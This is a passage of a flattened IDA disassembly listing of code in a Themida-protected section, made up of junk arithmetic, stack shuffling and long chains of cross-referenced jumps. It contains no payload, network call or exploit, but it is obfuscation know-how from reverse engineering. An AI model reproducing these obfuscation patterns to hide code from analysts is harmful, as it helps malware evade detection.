4 jmp loc_5A0D6F ; --------------------------------------------------------------------------- loc_5AB49A: ; CODE XREF: Themida_:0059D813j ; Themida_:005A077Ej sub edi, 4DDF669Eh jmp loc_5ABEE5 ; --------------------------------------------------------------------------- loc_5AB4A5: ; CODE XREF: Themida_:005AB6CEj pop ebp jmp loc_5A128E ; --------------------------------------------------------------------------- loc_5AB4AB: ; CODE XREF: Themida_:005A13BAj ; Themida_:005A46C8j mov esp, [esp] movsx cx, al push small 72h mov [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB4BF: ; CODE XREF: Themida_:005A7617j shl edx, 2 xor edx, 0B0FF7D90h sub edi, edx pop edx jmp loc_59963E ; --------------------------------------------------------------------------- loc_5AB4D0: ; CODE XREF: Themida_:00598E57j push edx mov edx, 1AE54887h and eax, edx pop edx sub eax, 201F0176h add eax, 7FF12168h add ecx, eax pop eax sub esp, 4 mov [esp], edi push edx jmp loc_59BA84 ; --------------------------------------------------------------------------- loc_5AB4F5: ; CODE XREF: Themida_:005A1DE3j add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop edx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp jmp loc_59888D ; --------------------------------------------------------------------------- loc_5AB518: ; CODE XREF: Themida_:0059B872j ; Themida_:005AACCCj sub eax, 1B473FF8h add eax, ebx add eax, 1B473FF8h pop ebx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, 2C74624Bh jmp loc_5AD07A ; --------------------------------------------------------------------------- loc_5AB546: ; CODE XREF: Themida_:005ABC86j push 288Ah jmp loc_59D6A0 ; --------------------------------------------------------------------------- loc_5AB550: ; CODE XREF: Themida_:005AF053j sub dh, 91h add bl, dh pop edx add cl, bl jmp loc_59C673 ; --------------------------------------------------------------------------- loc_5AB55D: ; CODE XREF: Themida_:005A223Dj ; Themida_:loc_5A9089j pop edi sub edx, edi sub edx, 62001644h pop edi jmp loc_5A03A3 ; --------------------------------------------------------------------------- loc_5AB56C: ; CODE XREF: Themida_:005AC4EDj mov eax, 6DD62C4Ah xor eax, edi pop edi push eax pop ecx pop eax shl ecx, 8 jmp loc_59A872 ; --------------------------------------------------------------------------- loc_5AB57F: ; CODE XREF: Themida_:005A8A9Fj mov edi, esp sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push 62C3h jmp loc_5AAC1B ; --------------------------------------------------------------------------- loc_5AB599: ; CODE XREF: Themida_:005A9C8Bj add esp, 4 add eax, 52CD0276h sub eax, 4E34299Fh sub eax, ebx add eax, 4E34299Fh sub eax, 52CD0276h sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_5A663A ; --------------------------------------------------------------------------- loc_5AB5C6: ; CODE XREF: Themida_:loc_59B8F5j sub eax, 0E67B9BB1h jmp loc_5ACCFA ; --------------------------------------------------------------------------- loc_5AB5D0: ; CODE XREF: Themida_:005A0E68j mov esi, 0C566FF0h and esi, 728547F4h not esi add esi, 3F110493h xor esi, 1071CA4Eh jmp loc_5AA040 ; --------------------------------------------------------------------------- loc_5AB5EE: ; CODE XREF: Themida_:005A079Bj pop edi add eax, 4 xchg eax, [esp] jmp loc_5ABD43 ; --------------------------------------------------------------------------- loc_5AB5FC: ; CODE XREF: Themida_:005AE67Dj sub bh, cl pop cx push ax push edx mov dl, 8Eh mov ah, dl mov edx, [esp] add esp, 4 and bh, ah jmp loc_5A1C3E ; --------------------------------------------------------------------------- loc_5AB614: ; CODE XREF: Themida_:0059B8FEj mov edi, 622B0BF6h push 5ED2h mov [esp], edx mov edx, 125E5A01h push ebx mov ebx, 3DD44C38h add edx, ebx pop ebx jmp loc_5AEFED ; --------------------------------------------------------------------------- loc_5AB634: ; CODE XREF: Themida_:005A46B6j dec al jmp loc_5A46C3 ; --------------------------------------------------------------------------- loc_5AB63B: ; CODE XREF: Themida_:00599C66j shr esi, 7 jnp loc_5AA82A add esi, 210C7189h jmp loc_59EC83 ; --------------------------------------------------------------------------- push eax mov eax, esp loc_5AB652: ; CODE XREF: Themida_:00599A23j push 7824h mov [esp], edx jmp loc_5AC898 ; --------------------------------------------------------------------------- loc_5AB65F: ; CODE XREF: Themida_:005A1616j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB664: ; CODE XREF: Themida_:0059E442j mov [esp], eax push ebx mov bl, 1Fh mov ah, bl pop ebx jmp loc_5A8817 ; --------------------------------------------------------------------------- loc_5AB672: ; CODE XREF: Themida_:00598ACDj xchg ecx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB67B: ; CODE XREF: Themida_:005A384Bj pop edi jmp loc_5A8E40 ; --------------------------------------------------------------------------- loc_5AB681: ; CODE XREF: Themida_:0059F527j add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 67725F0h pop ebp jmp loc_5AAB5E ; --------------------------------------------------------------------------- loc_5AB6AA: ; CODE XREF: Themida_:005A51D7j pop ebx xchg esi, [esp] jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5AB6B3: ; CODE XREF: Themida_:0059BAB2j pop esp mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5AB144 ; --------------------------------------------------------------------------- loc_5AB6C4: ; CODE XREF: Themida_:005A3D37j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_5AB4A5 ; --------------------------------------------------------------------------- loc_5AB6D3: ; CODE XREF: Themida_:005ACE04j add ecx, ebp push eax mov eax, 51FF0149h jmp loc_5AE0CB ; --------------------------------------------------------------------------- loc_5AB6E0: ; CODE XREF: Themida_:005A8D8Dj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A211E ; --------------------------------------------------------------------------- loc_5AB6EE: ; CODE XREF: Themida_:005A81D4j jbe loc_5A6BB0 xor edx, 4A9E9949h push 6660h jmp loc_5A5162 ; --------------------------------------------------------------------------- loc_5AB704: ; CODE XREF: Themida_:005A7477j ; Themida_:005ADB09j pop esi pop dword ptr [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB714: ; CODE XREF: Themida_:005A8739j mov dh, [esp] add esp, 4 push eax mov al, 6Dh and dh, al pop eax sub dh, 71h add ch, 45h jmp loc_59A902 ; --------------------------------------------------------------------------- loc_5AB72B: ; CODE XREF: Themida_:005A8E20j xor al, ch pop ecx push small 3940h mov [esp], cx sub esp, 4 jmp loc_5989A6 ; --------------------------------------------------------------------------- loc_5AB741: ; CODE XREF: Themida_:005ADB1Ej mov eax, [esp] add esp, 4 pop cx shr bh, 2 jz loc_5AF07B jmp loc_59AB30 ; --------------------------------------------------------------------------- loc_5AB75A: ; CODE XREF: Themida_:005A5E5Dj mov ecx, [esp] jmp loc_5AA25B ; --------------------------------------------------------------------------- loc_5AB762: ; CODE XREF: Themida_:005A993Cj sub ebx, ecx pop ecx sub ebx, 1EC70CAAh sub eax, ebx jmp loc_5A7DEB ; --------------------------------------------------------------------------- loc_5AB772: ; CODE XREF: Themida_:005A4D9Bj add esp, 4 push esi push 28BFh mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_599CC8 ; --------------------------------------------------------------------------- loc_5AB791: ; CODE XREF: Themida_:005ABE32j mov edx, 4 jmp loc_5A688E ; --------------------------------------------------------------------------- loc_5AB79B: ; CODE XREF: Themida_:00599CF8j shr edx, 6 jmp loc_5ABEC3 ; --------------------------------------------------------------------------- loc_5AB7A3: ; CODE XREF: Themida_:005A06DEj add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_5A4898 ; --------------------------------------------------------------------------- loc_5AB7BB: ; CODE XREF: Themida_:0059A166j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB7CB: ; CODE XREF: Themida_:0059A446j xor ebx, 9C84D652h mov ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5AF1E3 ; --------------------------------------------------------------------------- loc_5AB7DE: ; CODE XREF: Themida_:005AE2E8j pop esp mov [esp], ebx push edi push 20A32C03h jmp loc_59DF7B ; --------------------------------------------------------------------------- lodsb push edx mov dl, 0A1h add al, dl pop edx sub esp, 4 mov [esp], ebx mov bl, 9Dh add al, bl pop ebx sub al, 23h sub al, bl add al, 23h push small 7D02h mov [esp], cx jmp loc_599CFD ; --------------------------------------------------------------------------- loc_5AB812: ; CODE XREF: Themida_:005A2956j add edx, 4 xchg edx, [esp] jmp loc_5A75E2 ; --------------------------------------------------------------------------- loc_5AB820: ; CODE XREF: Themida_:005A1F6Cj pop ecx sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], eax push 7219h mov [esp], esp sub esp, 4 mov [esp], eax push 8E3h mov [esp], ebx push 12A27447h mov ebx, [esp] push ebp jmp loc_5AE946 ; --------------------------------------------------------------------------- mov ax, [esp] push 722Ch mov [esp], ebx push 5E64h sub esp, 4 push esp pop dword ptr [esp] jmp loc_5AAE15 ; --------------------------------------------------------------------------- loc_5AB874: ; CODE XREF: Themida_:00598597j add esp, 4 xor cl, 21h sub cl, 5Ah push ebx mov bl, 0EDh push eax mov al, 95h xor al, 0ADh neg al sub al, 49h xor bl, al jmp loc_59A5AC ; --------------------------------------------------------------------------- loc_5AB890: ; CODE XREF: Themida_:0059B3AAj mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [eax] jmp loc_59889D ; --------------------------------------------------------------------------- loc_5AB8AD: ; CODE XREF: Themida_:005A440Ej push 4C19h mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_59AB9F ; --------------------------------------------------------------------------- loc_5AB8C4: ; CODE XREF: Themida_:00598DEEj ; Themida_:005AD4CDj push esi push 0FFFh mov [esp], edx jmp loc_5A2C0A ; --------------------------------------------------------------------------- loc_5AB8D2: ; CODE XREF: Themida_:0059B14Cj ; Themida_:005A7388j sub ebx, 5F967DA5h mov edi, ebx pop ebx push ecx jmp loc_5A6F62 ; --------------------------------------------------------------------------- loc_5AB8E1: ; CODE XREF: Themida_:005A1CAFj push esp mov ebx, [esp] jmp loc_5AB1E6 ; --------------------------------------------------------------------------- loc_5AB8EA: ; CODE XREF: Themida_:0059DF69j push esp jmp loc_5A6549 ; --------------------------------------------------------------------------- loc_5AB8F0: ; CODE XREF: Themida_:005A0476j sub edx, 48CF1EB6h sub edx, ebx add edx, 48CF1EB6h jmp loc_5A3389 ; --------------------------------------------------------------------------- loc_5AB903: ; CODE XREF: Themida_:005AABAEj shl ch, 7 shl ch, 3 and ch, 0D6h add ch, 1 jmp loc_59F5FC ; --------------------------------------------------------------------------- loc_5AB914: ; CODE XREF: Themida_:0059CD4Aj push ebp push 2F60h jmp loc_5AEB68 ; --------------------------------------------------------------------------- loc_5AB91F: ; CODE XREF: Themida_:00599E5Cj jz loc_5A2828 push ecx mov ecx, 54AD5F2Fh inc ecx xor ecx, 7EC40FF6h sub edi, ecx pop ecx add edi, 25826B34h mov edx, edi pop edi xor eax, edx mov edx, [esp] add esp, 4 push edx mov edx, 0B674FB8h or edx, 262F7ABCh or edx, 6FDA4C9Dh xor edx, 6763E36Ch jmp loc_5A4ADD ; --------------------------------------------------------------------------- loc_5AB966: ; CODE XREF: Themida_:0059F755j ; Themida_:005AA1C0j xor edx, 7503011Bh jz loc_59B5DD jmp loc_5AC861 ; --------------------------------------------------------------------------- loc_5AB977: ; CODE XREF: Themida_:005AD5D5j push edi mov edi, 4AD8628Bh add ebp, edi jmp loc_5A7799 ; --------------------------------------------------------------------------- loc_5AB984: ; CODE XREF: Themida_:00599D1Dj add eax, 0E8BB92D8h jmp loc_5A241A ; --------------------------------------------------------------------------- loc_5AB98E: ; CODE XREF: Themida_:005A8319j xchg ecx, [esp] jmp loc_5A475B ; --------------------------------------------------------------------------- loc_5AB996: ; CODE XREF: Themida_:005A6B2Ej add esp, 4 pop ebx push ecx mov ecx, 2C477FDAh add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5ADADF ; --------------------------------------------------------------------------- loc_5AB9B0: ; CODE XREF: Themida_:005A62BCj mov edi, eax pop eax shr edi, 8 inc edi neg edi push esi mov esi, 34392363h and esi, 4CB42418h and esi, 5AA03593h sub esi, 590A56AEh jmp loc_5A8948 ; --------------------------------------------------------------------------- loc_5AB9D6: ; CODE XREF: Themida_:005A5D5Aj pop edx sub esp, 4 mov [esp], ebx jmp loc_59DDDF ; --------------------------------------------------------------------------- loc_5AB9E2: ; CODE XREF: Themida_:0059F8ECj shl esi, 1 or esi, 4FFE345Eh add esi, 0B0014AA6h add ebp, 240C01FFh jmp loc_59E9D5 ; --------------------------------------------------------------------------- loc_5AB9FB: ; CODE XREF: Themida_:005A066Ej pop ebx push ecx mov ecx, 4 add edx, ecx jmp loc_59CEF9 ; --------------------------------------------------------------------------- loc_5ABA09: ; CODE XREF: Themida_:005A313Dj mov bh, dl mov ch, bh pop ebx pop edx mov dh, ch jmp loc_59B7E4 ; --------------------------------------------------------------------------- loc_5ABA16: ; CODE XREF: Themida_:0059E740j add esp, 4 sub ebx, 4AF255CFh jmp loc_5AABD4 ; --------------------------------------------------------------------------- loc_5ABA27: ; CODE XREF: Themida_:005AD9DFj push dword ptr [esp] mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edi, 0C883FC3Bh push edi push eax mov eax, 600424D3h add [esp+4], eax jmp loc_5AEACA ; --------------------------------------------------------------------------- loc_5ABA59: ; CODE XREF: Themida_:005984C9j push dword ptr [esp+4] jmp loc_59A709 ; --------------------------------------------------------------------------- loc_5ABA62: ; CODE XREF: Themida_:005A5593j ; Themida_:005A8051j or ebp, 0AA54ADCh and ebp, 6BD0152Bh xor ebp, 4BD97601h add ecx, ebp pop ebp add edi, 0D5F2FE7h jmp loc_59A16B ; --------------------------------------------------------------------------- loc_5ABA82: ; CODE XREF: Themida_:005A7265j push esi mov esi, 433562F4h push esi not dword ptr [esp] pop esi sub esp, 4 jmp loc_5AB411 ; --------------------------------------------------------------------------- loc_5ABA95: ; CODE XREF: Themida_:005A7FF4j mov [esp], ebx sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_59C7B8 ; --------------------------------------------------------------------------- loc_5ABAA8: ; CODE XREF: Themida_:005A9159j ; Themida_:005A9375j mov cl, 81h push ebx push edx push ecx mov cl, 0ABh jmp loc_59D0AA ; --------------------------------------------------------------------------- loc_5ABAB4: ; CODE XREF: Themida_:0059D889j ; Themida_:005AAABAj and edx, 36137A5Eh and edx, 3FDA6013h jmp loc_5A2D95 ; --------------------------------------------------------------------------- loc_5ABAC5: ; CODE XREF: Themida_:005ABDFBj push 18B20DA4h pop ebp or ebp, 4E644E11h jbe loc_598A76 and ebp, 1A31413Ch and ebp, 5DE04D86h sub ebp, 10F5C4B2h mov esi, ebp pop ebp sub esi, 72A7C4Eh add ebp, esi jmp loc_5AF0E8 ; --------------------------------------------------------------------------- loc_5ABAF9: ; CODE XREF: Themida_:005A5272j add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABB01: ; CODE XREF: Themida_:005A7FBFj ; Themida_:loc_5AAB7Aj mov esi, [esp] jmp loc_5A2110 ; --------------------------------------------------------------------------- loc_5ABB09: ; CODE XREF: Themida_:0059BF72j mov [esp], ecx jmp loc_5A570E ; --------------------------------------------------------------------------- loc_5ABB11: ; CODE XREF: Themida_:loc_59C74Dj jmp loc_5A486B ; --------------------------------------------------------------------------- loc_5ABB16: ; CODE XREF: Themida_:005A5253j xor al, 25h jmp loc_5A6060 ; --------------------------------------------------------------------------- loc_5ABB1D: ; CODE XREF: Themida_:005A3078j ; Themida_:005AD493j sub esi, 3FA253h sub eax, 0DEC74BAh add eax, esi add eax, 0DEC74BAh push dword ptr [esp] jmp loc_5A9435 ; --------------------------------------------------------------------------- loc_5ABB37: ; CODE XREF: Themida_:005A4D34j pop edx jmp loc_59B51D ; --------------------------------------------------------------------------- loc_5ABB3D: ; CODE XREF: Themida_:005A63F5j and edi, 15FD699Ch xor edi, 74F571ACh sub edi, 0F6D12C0h xor edi, 2104665Fh jmp loc_5AE327 ; --------------------------------------------------------------------------- loc_5ABB5A: ; CODE XREF: Themida_:005A35C2j sub ebx, 57A30324h and ebx, 14355E2Fh or ebx, 61CB6B7Eh dec ebx jmp loc_59EEE5 ; --------------------------------------------------------------------------- loc_5ABB72: ; CODE XREF: Themida_:0059E5EAj neg ch push edx mov dl, ch jmp loc_5A9D4F ; --------------------------------------------------------------------------- loc_5ABB7C: ; CODE XREF: Themida_:005A3BF5j xor dh, ch pop ecx mov bl, dh pop edx sub bl, 78h add bl, ah push dx mov dh, 78h sub bl, 7 add bl, dh jmp loc_5A6550 ; --------------------------------------------------------------------------- loc_5ABB95: ; CODE XREF: Themida_:005A18D6j mov ecx, 4 add [esp+4], ecx jmp loc_5A626D ; --------------------------------------------------------------------------- loc_5ABBA3: ; CODE XREF: Themida_:00599580j shr byte ptr [esp], cl pushf jmp loc_5A937A ; --------------------------------------------------------------------------- loc_5ABBAC: ; CODE XREF: Themida_:00599124j ; Themida_:005AB44Aj sub ecx, 31077A65h add ecx, ebp add ecx, 31077A65h jmp loc_59D66A ; --------------------------------------------------------------------------- loc_5ABBBF: ; CODE XREF: Themida_:0059F63Dj pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 36212954h neg edx js loc_5A65D9 inc edx jg loc_5A0A15 add edx, 56D002BBh push ecx loc_5ABBEB: ; CODE XREF: Themida_:005A1257j inc ch jnp loc_59CF0B jmp loc_5A3D56 ; --------------------------------------------------------------------------- jmp loc_59C233 ; --------------------------------------------------------------------------- loc_5ABBFD: ; CODE XREF: Themida_:0059CD2Bj ; Themida_:005A2AA9j mov esi, 5D7F5D71h push ebp push eax push 3CE84A06h pop eax neg eax jnb loc_5A3D92 add eax, 42955775h mov ebp, eax jmp loc_5A7EDF ; --------------------------------------------------------------------------- loc_5ABC1E: ; CODE XREF: Themida_:005AAF2Fj sub ebp, esi mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4 sub ebp, 68016A0Ch sub ebp, 5CA5680Bh jmp loc_59F340 ; --------------------------------------------------------------------------- loc_5ABC48: ; CODE XREF: Themida_:005A0C7Dj mov ebp, 5C007630h sub eax, 0B9E1F28h sub eax, 0BB93E57h add eax, ebp add eax, 0BB93E57h add eax, 0B9E1F28h jmp loc_5AF571 ; --------------------------------------------------------------------------- loc_5ABC68: ; CODE XREF: Themida_:0059EB02j xor esi, 0E7825D5h mov edx, esi jmp loc_59F859 ; --------------------------------------------------------------------------- loc_5ABC75: ; CODE XREF: Themida_:005A593Fj mov [esp], ebx jmp loc_5994BC ; --------------------------------------------------------------------------- loc_5ABC7D: ; CODE XREF: Themida_:0059F175j add esp, 4 add esp, 4 pop dword ptr [esp] jmp loc_5AB546 ; --------------------------------------------------------------------------- loc_5ABC8B: ; CODE XREF: Themida_:00599B78j neg cl and cl, 45h jns loc_5AE959 jmp loc_5A0EB8 ; --------------------------------------------------------------------------- sub eax, ebx jmp loc_599835 ; --------------------------------------------------------------------------- push ebx loc_5ABCA3: ; CODE XREF: Themida_:005A9245j add esi, 13DA341Fh push 7386h mov [esp], ebx push esp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59C3C3 ; --------------------------------------------------------------------------- loc_5ABCC6: ; CODE XREF: Themida_:005ADDC7j mov cx, 6C00h add cx, 525Eh add cx, 0FFFFh not cx push edi mov edi, esp add edi, 4 push eax mov eax, 390A01EBh and eax, 17DC5829h shl eax, 5 neg eax and eax, 318B3FE2h sub eax, 108B3ADCh jmp loc_59E92B ; --------------------------------------------------------------------------- loc_5ABCFE: ; CODE XREF: Themida_:005A61A1j mov [esp], edx jmp loc_5ADB9F ; --------------------------------------------------------------------------- loc_5ABD06: ; CODE XREF: Themida_:0059EEC5j add ebp, 2 xchg ebp, [esp] jmp loc_59D026 ; --------------------------------------------------------------------------- loc_5ABD11: ; CODE XREF: Themida_:005A1CEFj mov [esp], esi mov esi, 170A1E07h add eax, 0F7E7A68h sub eax, esi push ecx mov ecx, 7DEE1956h or ecx, 78376B4h add ecx, 8F8EFA72h add eax, 2E8A5AE4h sub eax, ecx jmp loc_5A0B38 ; --------------------------------------------------------------------------- loc_5ABD3E: ; CODE XREF: Themida_:005A630Bj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABD43: ; CODE XREF: Themida_:005AB5F7j pop esp jmp loc_5A483A ; --------------------------------------------------------------------------- loc_5ABD49: ; CODE XREF: Themida_:0059F183j mov [esp], edx push 2F48h mov [esp], esp jmp loc_5A8B7A ; --------------------------------------------------------------------------- loc_5ABD59: ; CODE XREF: Themida_:005A257Ej mov ecx, edx pop edx jmp loc_5A07D0 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ecx push eax push ebx jmp loc_5A7EC8 ; --------------------------------------------------------------------------- loc_5ABD72: ; CODE XREF: Themida_:005A9F1Fj add ebx, 6A5B14DBh jmp loc_5A7751 ; --------------------------------------------------------------------------- loc_5ABD7D: ; CODE XREF: Themida_:0059C67Cj xor cl, 76h and al, cl mov ecx, [esp] add esp, 4 push ebx jmp loc_5ACB84 ; --------------------------------------------------------------------------- loc_5ABD91: ; CODE XREF: Themida_:005A8F98j add ebx, esi jmp loc_5ACA1E ; --------------------------------------------------------------------------- loc_5ABD98: ; CODE XREF: Themida_:005AD97Aj not esi not esi jmp loc_5A67D4 ; --------------------------------------------------------------------------- loc_5ABDA1: ; CODE XREF: Themida_:005A08D5j pop ecx push ecx push 72860BF7h mov ecx, [esp] add esp, 4 jmp loc_5A5A2A ; --------------------------------------------------------------------------- loc_5ABDB3: ; CODE XREF: Themida_:005A23F0j push edi jmp loc_5A8D7A ; --------------------------------------------------------------------------- loc_5ABDB9: ; CODE XREF: Themida_:00599193j jmp loc_59B41F ; --------------------------------------------------------------------------- loc_5ABDBE: ; CODE XREF: Themida_:005AC893j push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push 57DFh mov [esp], esi mov esi, 2A1F0BF6h push ecx mov ecx, 551A6F26h jmp loc_5A79D3 ; --------------------------------------------------------------------------- loc_5ABDDF: ; CODE XREF: Themida_:00599B3Dj jnp loc_59F041 inc edi jmp loc_5A7E23 ; --------------------------------------------------------------------------- loc_5ABDEB: ; CODE XREF: Themida_:005A2B6Bj mov [esp], edx mov edx, 4 push esi jmp loc_59AC46 ; --------------------------------------------------------------------------- loc_5ABDF9: ; CODE XREF: Themida_:0059FF84j push esi push ebp jmp loc_5ABAC5 ; --------------------------------------------------------------------------- loc_5ABE00: ; CODE XREF: Themida_:005ACB5Cj pop eax jmp loc_5A1926 ; --------------------------------------------------------------------------- loc_5ABE06: ; CODE XREF: Themida_:00599E3Aj sub [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABE0F: ; CODE XREF: Themida_:0059F7D4j mov esi, [esp] jmp loc_5985C8 ; --------------------------------------------------------------------------- loc_5ABE17: ; CODE XREF: Themida_:005A9D80j ; Themida_:005AA190j sub eax, edi pop edi mov esi, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esp push edx jmp loc_5AB791 ; --------------------------------------------------------------------------- loc_5ABE37: ; CODE XREF: Themida_:005A4721j push esi mov esi, 45594DF4h push edi mov edi, 1FFF67B2h xor edi, 5C674848h jmp loc_5AE0E8 ; --------------------------------------------------------------------------- loc_5ABE4E: ; CODE XREF: Themida_:005A10C1j add edi, esi pop esi push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59DE5D ; --------------------------------------------------------------------------- loc_5ABE71: ; CODE XREF: Themida_:0059C295j mov [esp], ebp mov ebp, 70AE3248h push edi mov edi, 0FFFFFFFFh sub ebp, 3C585722h add ebp, edi add ebp, 3C585722h pop edi add ebp, 7C12003Ch jmp loc_5A904D ; --------------------------------------------------------------------------- loc_5ABE99: ; CODE XREF: Themida_:00599188j push esi mov esi, esp add esi, 4 push edi mov edi, 6A6A7D3Fh add edi, 959582C5h jmp loc_5A9360 ; --------------------------------------------------------------------------- loc_5ABEB3: ; CODE XREF: Themida_:0059D317j pop ebx sub al, cl push edx mov dl, 0F9h add dl, 0AEh sub al, 15h jmp loc_59B5C4 ; --------------------------------------------------------------------------- loc_5ABEC3: ; CODE XREF: Themida_:005AB79Ej sub edx, offset byte_4024FE add ebp, edx mov edx, [esp] add esp, 4 push edx mov edx, 4B7B6DE6h jmp loc_5996FE ; --------------------------------------------------------------------------- loc_5ABEDF: ; CODE XREF: Themida_:005995D1j pop eax jmp loc_59AFF5 ; --------------------------------------------------------------------------- loc_5ABEE5: ; CODE XREF: Themida_:005AB4A0j and edi, 2882D0Fh dec edi shr edi, 2 shl edi, 3 sub edi, 1F68E810h sub ebp, edi jmp loc_5A19E7 ; --------------------------------------------------------------------------- loc_5ABEFF: ; CODE XREF: Themida_:0059A6CCj shr eax, 7 jmp loc_5988F7 ; --------------------------------------------------------------------------- loc_5ABF07: ; CODE XREF: Themida_:005A7D59j add edi, 4 jmp loc_5AA878 ; --------------------------------------------------------------------------- loc_5ABF12: ; CODE XREF: Themida_:005A9173j xor ebp, 735A1F23h mov ecx, ebp pop ebp add ecx, esi jmp loc_59B125 ; --------------------------------------------------------------------------- loc_5ABF22: ; CODE XREF: Themida_:005A2CF7j pop edi sub ebx, esi push esi jmp loc_5AE70F ; --------------------------------------------------------------------------- loc_5ABF2B: ; CODE XREF: Themida_:0059E5A3j pop ebp add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor ebx, eax pop dword ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABF4A: ; CODE XREF: Themida_:005A8921j xor eax, 47AA0CE7h or eax, 14282CDDh jp loc_5A495A sub eax, 0FD8129Eh jg loc_5A0F8C xor eax, 1B8A5385h mov edi, eax pop eax shl edi, 1 loc_5ABF6F: ; CODE XREF: Themida_:loc_5A97A0j shl ah, 3 shl ah, 5 jmp loc_5A8E0B ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_599D7E ; --------------------------------------------------------------------------- loc_5ABF88: ; CODE XREF: Themida_:005A07C0j xchg edx, [esp] pop esp push ecx mov ecx, 36BA0E38h add esi, ecx jmp loc_5A8F38 ; --------------------------------------------------------------------------- loc_5ABF99: ; CODE XREF: Themida_:0059F2BEj push ebp push 1E2Ch mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 push eax mov eax, 4 add ebp, 33985F51h add ebp, eax jmp loc_5AE0D8 ; --------------------------------------------------------------------------- loc_5ABFCB: ; CODE XREF: Themida_:00598518j ; Themida_:005ADC97j xor edx, [esp] pop esp mov [esp], esi mov esi, 49AD12D1h jmp loc_5A855B ; --------------------------------------------------------------------------- loc_5ABFDC: ; CODE XREF: Themida_:005A138Aj xchg esi, [esp] pop esp jmp loc_59B9CD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A6EB8 ; --------------------------------------------------------------------------- loc_5ABFEE: ; CODE XREF: Themida_:005A843Ej xor si, 0B194h mov ax, si push dword ptr [esp] jmp loc_5A0783 ; --------------------------------------------------------------------------- loc_5ABFFE: ; CODE XREF: Themida_:0059E865j push 51D8h mov [esp], ebp jmp loc_5A9089 ; --------------------------------------------------------------------------- loc_5AC00B: ; CODE XREF: Themida_:005A3066j sub ecx, 0E789D579h add edx, ecx jmp loc_5A4204 ; --------------------------------------------------------------------------- loc_5AC018: ; CODE XREF: Themida_:0059EEF8j sub esp, 4 mov [esp], ecx push small 1C1Bh mov [esp], bx mov bh, 42h push edx sub esp, 4 mov [esp], ecx jmp loc_59D36C ; --------------------------------------------------------------------------- loc_5AC03A: ; CODE XREF: Themida_:0059C326j mov esi, eax pop eax jmp loc_5A2E2C ; --------------------------------------------------------------------------- loc_5AC042: ; CODE XREF: Themida_:005A65D4j mov eax, 0C92A7068h push ebx mov ebx, 34BA0E74h neg ebx and ebx, 1A613638h shl ebx, 3 inc ebx jmp loc_5ACA39 ; --------------------------------------------------------------------------- loc_5AC05E: ; CODE XREF: Themida_:0059840Aj sub ebx, 29380598h push esi mov esi, 7907738Ch add ebx, esi pop esi add ebx, esi jmp loc_5AC8DF ; --------------------------------------------------------------------------- loc_5AC074: ; CODE XREF: Themida_:005A3182j push edx pop ebx pop edx add edx, ebx pop ebx xor edx, [esp] jmp loc_5A1765 ; --------------------------------------------------------------------------- loc_5AC082: ; CODE XREF: Themida_:005A9AA0j mov esi, esp jmp loc_5A89A4 ; --------------------------------------------------------------------------- loc_5AC089: ; CODE XREF: Themida_:0059843Dj add eax, 3B441546h pop esi jmp loc_5A007C ; --------------------------------------------------------------------------- loc_5AC094: ; CODE XREF: Themida_:00598A17j pop ebx pop ecx jmp loc_5A5B47 ; --------------------------------------------------------------------------- loc_5AC09B: ; CODE XREF: Themida_:0059B8C5j mov ecx, 595D2EF9h or ebp, ecx pop ecx sub ebp, 1FF4627Eh jmp loc_5A63B5 ; --------------------------------------------------------------------------- loc_5AC0AE: ; CODE XREF: Themida_:0059F1C6j push dword ptr [esp] jmp loc_5A3C7D ; --------------------------------------------------------------------------- loc_5AC0B6: ; CODE XREF: Themida_:005A1AC1j add edx, eax pop eax jmp loc_59CEA7 ; --------------------------------------------------------------------------- loc_5AC0BE: 